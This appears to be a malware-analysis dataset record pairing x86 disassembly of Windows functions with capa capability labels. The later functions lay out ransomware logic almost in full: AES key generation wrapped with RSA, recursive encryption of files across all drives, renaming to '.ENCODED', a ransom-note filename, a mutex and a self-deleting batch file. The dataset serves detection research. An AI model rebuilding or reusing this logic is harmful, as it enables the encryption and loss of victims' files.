joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6ecd00
Capabilities:
Delete file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x73c498
push eax
mov dword fs:[0], esp
sub esp, 0x10
xor al, al
push ebx
push ebp
push esi
mov esi, ecx
mov cl, byte [esi + 0xc]
test cl, cl
je 0x6ece24
mov ecx, dword [esi + 4]
xor ebp, ebp
sub ecx, ebp
je 0x6ece36
dec ecx
je 0x6ecd7c
dec ecx
jne 0x6ece24
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x6ece4b
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary_1]
cmp eax, 1
jne 0x6ece4b
mov dword [esi + 8], ebp
mov eax, dword [esi + 0x18]
cmp eax, ebp
je 0x6ecd75
mov eax, dword [0x78d89c]
lea ecx, [esi + 0x10]
push eax
push ebp
call fcn.006ed240
mov bl, 1
jmp 0x6ece17
mov edx, dword [0x78d89c]
mov cl, byte [esi + 0x10]
push edi
lea edi, [esi + 0x10]
push edx
mov byte [esp + 0x14], cl
push ebp
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
call fcn.006ed040
mov eax, dword [esi + 8]
mov dword [esp + 0x28], ebp
cmp eax, ebp
je 0x6ece05
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary_1]
cmp eax, 1
jne 0x6ece05
mov dword [esi + 8], ebp
mov eax, dword [esi + 0x18]
cmp eax, ebp
je 0x6ecdd4
mov eax, dword [0x78d89c]
mov ecx, edi
push eax
push ebp
call fcn.006ed240
mov eax, dword [esp + 0x14]
mov bl, 1
cmp eax, ebp
jne 0x6ecde3
mov eax, 0x78d898
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x14]
pop edi
cmp ecx, ebp
je 0x6ece13
mov al, byte [ecx - 1]
test al, al
je 0x6ece09
cmp al, 0xff
je 0x6ece09
dec al
mov byte [ecx - 1], al
jmp 0x6ece13
xor bl, bl
jmp 0x6ecdea
dec ecx
push ecx
call fcn.0072dc72
add esp, 4
test bl, bl
je 0x6ece22
mov dword [esi + 4], 0xffffffff
mov byte [esi + 0xc], 0
mov al, bl
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
mov eax, dword [esi]
cmp eax, ebp
je 0x6ece4b
push eax
call fcn.006eddf0
add esp, 4
mov dword [esi], ebp
mov bl, 1
jmp 0x6ece17
mov ecx, dword [esp + 0x1c]
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x6ed740
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebp
push esi
push edi
xor edi, edi
push 0x903434
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x6ed78f
call fcn.00737540
mov edi, dword [eax + 0xc]
test edi, edi
jne 0x6ed774
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push 0x903434
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x6ed78f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
jne 0x6ed7a5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x6ed7b9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
jne 0x6ed7d2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
mov edi, dword [esp + 0x18]
push edi
push ebx
push ebp
call fcn.006edef0
add esp, 0xc
test al, al
jne 0x6ed871
mov eax, dword [edi + 8]
cmp eax, ebx
jb 0x6ed879
mov esi, dword [0x78d8a4]
jae 0x6ed801
call fcn.0072a669
mov ecx, edi
call fcn.006eda80
mov eax, dword [edi + 8]
mov ecx, eax
sub ecx, ebx
cmp ecx, esi
jae 0x6ed815
mov esi, ecx
test esi, esi
jbe 0x6ed853
mov ecx, dword [edi + 4]
sub eax, esi
sub eax, ebx
push eax
lea eax, [ecx + esi]
add eax, ebx
add ecx, ebx
push eax
push ecx
call fcn.00719e60
mov ebp, dword [edi + 8]
add esp, 0xc
sub ebp, esi
mov ecx, edi
push 0
push ebp
call fcn.006ed960
test al, al
je 0x6ed84f
mov ecx, dword [edi + 4]
mov dword [edi + 8], ebp
mov byte [ecx + ebp], 0
mov ebp, dword [esp + 0x10]
mov edi, dword [edi + 4]
test edi, edi
jne 0x6ed85f
mov edi, 0x78d8a0
mov ecx, ebx
mov esi, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
mov edx, ebx
push 0
sub edx, eax
mov ecx, edi
push edx
call fcn.006ed890
jmp 0x6ed853
Function at 0x6f4940
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x6f4989
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x6f4e00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x73c6c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.006f49b0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.006f4a30
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.006f4a30
lea ecx, [esi + 0xc]
call fcn.0072de93
lea ecx, [esi + 0x10]
call fcn.0072de93
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.006f5fc0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.006f5fc0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.006f5fc0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0072df08
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0072df08
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x6f61b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount_1]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x6f6216
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep_1]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x6f6216
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x6f61f7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x6f9140
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x944c38]
xor edx, edx
cmp eax, edx
jne 0x6f9166
xor eax, eax
mov byte [eax + 0x944b38], al
inc eax
cmp eax, 0x100
jl 0x6f914e
mov dword [0x944c38], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x944b38
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x6f91f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x6f91ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x6f9198
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x6f9270
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x6f92c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x6f92aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6ffc80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x73cabe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.007005a0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x79114c
call fcn.0072dc49
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x6ffd13
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0072dc49
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x6ffd0c
push 0
mov ecx, eax
call fcn.006f6d80
mov dword [esi + 0xc], eax
jmp 0x6ffd15
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x6ffd15
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x71c790
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x71c7b0
call dword [sym.imp.KERNEL32.dll_GetLastError_1]
push eax
call fcn.0071affa
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x71c7d3
test byte [esp + 8], 2
je 0x71c7d3
call fcn.0071b06d
mov dword [eax], 0xd
call fcn.0071b076
mov dword [eax], 5
jmp 0x71c7ac
xor eax, eax
ret

Function at 0x7302d6
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x73030e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0072e363
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0072e33b
jmp 0x73031a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x7319cc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x731a0e
call fcn.00737540
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x731a0e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x731a05
xor eax, eax
jmp 0x731a16
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00731a1c
pop edi
pop esi
pop ebx
ret 4
Function at 0x737a70
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x737a9e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x737abc
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.007379d6
jmp 0x737abc
mov eax, dword [esi + 0x14]
test eax, eax
je 0x737abc
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.007379d6
test edi, edi
mov eax, edi
jne 0x737aa6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0xf0000000
push 0x18
push 0
push 0
push 0x40449a
call sub.advapi32.dll_CryptAcquireContextA
or eax, eax
jne 0x401023
xor eax, eax
leave
ret
push 0x40449e
push 0x1000001
push 0x6610
push dword [0x40449a]
call sub.advapi32.dll_CryptGenKey
push 0x4044a2
push 0
push 0
push 8
push 0
push dword [0x40449e]
call sub.advapi32.dll_CryptExportKey
push dword [0x4044a2]
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x40106a
xor eax, eax
leave
ret
mov dword [0x4044a6], eax
push 0x4044a2
push dword [0x4044a6]
push 0
push 8
push 0
push dword [0x40449e]
call sub.advapi32.dll_CryptExportKey
mov dword [ebp - 4], 2
push 0
lea eax, [ebp - 4]
push eax
push 4
push dword [0x40449e]
call sub.advapi32.dll_CryptSetKeyParam
push 0x10000
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x4010b9
xor eax, eax
leave
ret
mov dword [0x404496], eax
mov eax, 1
leave
ret
Function at 0x4010de
Capabilities:
Encrypt or decrypt via wincrypt
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x401106
xor eax, eax
leave
ret 4
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 8], eax
cmp eax, 0x10
jl 0x401260
mov ecx, 0xa
xor edx, edx
div ecx
mov ecx, eax
movzx eax, byte [0x404491]
imul eax, ecx
xor edx, edx
mov ecx, 0x10
div ecx
or eax, eax
jne 0x40114a
mov dword [ebp - 0x14], 1
jmp 0x40114d
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x10
mov ecx, 0x10000
xor edx, edx
div ecx
or edx, edx
je 0x401161
inc eax
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x18]
push ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0x1000
jb 0x401181
mov eax, 0x1000
imul eax, eax, 0x10
mov dword [ebp - 0x1c], eax
push 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x4011a0
jmp 0x401260
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
push dword [0x404496]
push dword [ebp - 4]
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x4011c0
jmp 0x401260
push 0x10000
lea eax, [ebp - 0xc]
push eax
push dword [0x404496]
push 0
push 0
push 0
push dword [0x40449e]
call sub.advapi32.dll_CryptEncrypt
or eax, eax
jne 0x4011e6
jmp 0x401260
push 0
push 0
push dword [ebp - 0x20]
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x4011fc
jmp 0x401260
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [0x404496]
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
or eax, eax
jne 0x401219
jmp 0x401260
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x20], eax
sub dword [ebp - 0x14], 0x1000
pop ecx
dec ecx
jne 0x401171
pop dword [ebp - 0x14]
push 2
push 0
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x401246
jmp 0x401260
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
or eax, eax
jne 0x401260
jmp 0x401260
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, 1
leave
ret 4
Function at 0x401271
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0xf0000000
push 1
push 0
push 0
push 0x4044b0
call sub.advapi32.dll_CryptAcquireContextA
or eax, eax
jne 0x401294
xor eax, eax
leave
ret
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x94
push 0x4044d0
push dword [0x4044b0]
call sub.advapi32.dll_CryptImportKey
or eax, eax
jne 0x4012b9
xor eax, eax
leave
ret
push 0x100000
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x4012cd
xor eax, eax
leave
ret
mov dword [0x4044c8], eax
push dword [0x4044a2]
push dword [0x4044a6]
push dword [0x4044c8]
call sub.KERNEL32.DLL_RtlMoveMemory
mov eax, dword [0x4044a2]
mov dword [0x4044cc], eax
push 0x100000
push 0x4044cc
push dword [0x4044c8]
push 0
push 0
push 0
push dword [ebp - 4]
call sub.advapi32.dll_CryptEncrypt
or eax, eax
jne 0x401319
xor eax, eax
leave
ret
push dword [ebp - 4]
call sub.advapi32.dll_CryptDestroyKey
push 0
push dword [0x4044b0]
call sub.advapi32.dll_CryptReleaseContext
mov eax, 1
leave
ret
Function at 0x4015dd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 0x500
push 0x403f70
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0xa
push 0x403065
push 0
call sub.KERNEL32.DLL_FindResourceA
or eax, eax
jne 0x40160a
xor eax, eax
leave
ret
mov dword [ebp - 0xc], eax
push eax
push 0
call sub.KERNEL32.DLL_SizeofResource
or eax, eax
jne 0x40161d
xor eax, eax
leave
ret
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
push 0
call sub.KERNEL32.DLL_LoadResource
or eax, eax
jne 0x401632
xor eax, eax
leave
ret
mov dword [ebp - 8], eax
push eax
call sub.KERNEL32.DLL_LockResource
or eax, eax
jne 0x401643
xor eax, eax
leave
ret
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x401658
xor eax, eax
leave
ret
mov dword [ebp - 0x14], eax
mov ebx, eax
push dword [ebp - 0x10]
push dword [ebp - 4]
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_RtlMoveMemory
push dword [ebp - 8]
call sub.KERNEL32.DLL_FreeResource
mov ebx, dword [ebp - 0x14]
push 0x10
push ebx
push 0x404470
call sub.KERNEL32.DLL_RtlMoveMemory
add ebx, 0x10
mov eax, dword [ebp - 0x10]
sub eax, 0x10
push eax
push ebx
call fcn.00401747
mov al, byte [ebx]
mov byte [0x404490], al
add ebx, 1
mov al, byte [ebx]
mov byte [0x404491], al
add ebx, 1
mov eax, dword [ebx]
mov dword [0x404492], eax
add ebx, 4
mov ecx, dword [ebx]
push ecx
push ecx
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x4016c4
xor eax, eax
leave
ret
mov dword [0x404488], eax
pop edi
add ebx, 4
push edi
push ebx
push dword [0x404488]
call sub.KERNEL32.DLL_RtlMoveMemory
add ebx, edi
mov eax, dword [ebx]
mov dword [0x404484], eax
add ebx, 4
mov eax, dword [ebx]
mov dword [0x404480], eax
add ebx, 4
push dword [0x404480]
push 0x40
call sub.KERNEL32.DLL_GlobalAlloc
or eax, eax
jne 0x401705
xor eax, eax
leave
ret
mov dword [0x40448c], eax
push dword [0x404480]
push ebx
push dword [0x40448c]
call sub.KERNEL32.DLL_RtlMoveMemory
add ebx, dword [0x404480]
push 0x94
push ebx
push 0x4044d0
call sub.KERNEL32.DLL_RtlMoveMemory
add ebx, 0x94
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_GlobalFree
mov eax, 1
leave
ret

Function at 0x40176d
Capabilities:
Create process on windows
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push str.ntfs_system.bat
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x4044c4
push 5
push str.del__
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push 0x403f70
call sub.KERNEL32.DLL_lstrlenA
push 0
push 0x4044c4
push eax
push 0x403f70
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x4044c4
push 9
push str.__r_ndel__0
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 0
push str.ntfs_system.bat
push 0
push 0
call sub.shell32.dll_ShellExecuteA
leave
ret
Function at 0x401806
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
lea eax, [ebp - 0x144]
push eax
push 0x403070
call sub.KERNEL32.DLL_FindFirstFileA
inc eax
je 0x40198e
dec eax
mov dword [ebp - 6], eax
mov eax, dword [ebp - 0x144]
and eax, 0x10
je 0x4018af
lea ebx, [ebp - 0x118]
push ebx
push 0x403009
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x40196f
push ebx
push 0x40300b
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x40196f
push 0x403070
call sub.shlwapi.dll_PathFindFileNameA
mov byte [eax], 0
sub eax, 0x403070
push eax
lea eax, [ebp - 0x118]
push eax
push 0x403070
call sub.KERNEL32.DLL_lstrcatA
push 0x403070
call sub.KERNEL32.DLL_lstrlenA
mov dword [eax + 0x403070], 0x2a5c
call fcn.00401806
pop eax
mov dword [eax + 0x40306f], 0x2a5c
jmp 0x40196f
push 0x403070
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0x403070
push 0x403570
call sub.KERNEL32.DLL_lstrcpynA
lea ebx, [ebp - 0x118]
push ebx
push str.HOW_TO_DECRYPT_FILES.txt
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x40196f
lea ebx, [ebp - 0x118]
push ebx
push 0x404f64
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x40196f
lea eax, [ebp - 0x118]
push eax
push 0x403570
call sub.KERNEL32.DLL_lstrcatA
mov ecx, dword [0x404484]
mov ebx, dword [0x40448c]
push ecx
push ebx
push 0x403570
call sub.shlwapi.dll_PathMatchSpecA
cmp eax, 1
jne 0x401928
pop ecx
jmp 0x401938
push ebx
call sub.KERNEL32.DLL_lstrlenA
add ebx, eax
add ebx, 1
pop ecx
loop 0x401914
jmp 0x40196f
push 0x403570
call fcn.004010de
push 0x403570
push 0x403a70
call sub.KERNEL32.DLL_lstrcpyA
push str..ENCODED
push 0x403a70
call sub.KERNEL32.DLL_lstrcatA
push 0x403a70
push 0x403570
call sub.KERNEL32.DLL_MoveFileA
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 6]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x40182b
push dword [ebp - 6]
call sub.KERNEL32.DLL_FindClose
leave
ret

Function at 0x401990
Capabilities:
Create thread
Get disk information

Disassembly:
call fcn.004015dd
test eax, eax
je 0x401a1d
push str.ilold
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
test eax, eax
jne 0x401a1d
push str.ilold
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
call fcn.00401000
test eax, eax
je 0x401a1d
call fcn.00401271
xor eax, eax
push eax
push eax
push eax
push 0x401335
push eax
push eax
call sub.KERNEL32.DLL_CreateThread
push 1
call sub.KERNEL32.DLL_SetErrorMode
call sub.KERNEL32.DLL_GetLogicalDrives
mov ecx, 0x19
mov ebx, 1
shl ebx, cl
and ebx, eax
je 0x401a1a
add cl, 0x41
mov byte [0x403070], cl
sub cl, 0x41
mov dword [0x403071], 0x2a5c3a
push eax
push ecx
call fcn.00401806
pop ecx
pop eax
dec ecx
jge 0x4019f0
push 0x1f4
call sub.KERNEL32.DLL_Sleep
cmp dword [0x403034], 1
jne 0x401a1d
call fcn.004010c5
call fcn.0040176d
push 0
call sub.KERNEL32.DLL_ExitProcess
int3